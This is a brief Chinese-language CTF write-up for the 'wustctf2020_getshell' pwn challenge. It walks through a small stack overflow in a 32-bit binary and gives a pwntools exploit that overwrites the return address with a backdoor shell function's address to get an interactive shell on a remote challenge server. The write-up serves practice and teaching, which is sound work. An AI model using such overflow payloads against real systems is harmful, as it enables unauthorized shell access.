# 1. 查看程序
查看程序开启的保护
32 位程序,没有开启 NX,猜测可以使用 shellcode
利用 ida 反汇编
主函数
init():输出图形
vulnerable () :可以进行溢出,但是溢出范围很小
发现有后门命令在 shell 函数里
直接溢出执行该命令即可
# exp
from pwn import * | |
from LibcSearcher import * | |
context.log_level = 'debug' | |
#p=process('./wustctf2020_getshell') | |
p=remote('node4.buuoj.cn',28324) | |
shellcode = asm(shellcraft.sh()) | |
p.recvuntil("/_/ /_//_\\_\\ \n") | |
payload1=b"a"*28+p32(0x804851B) | |
p.sendline(payload1) | |
p.interactive() |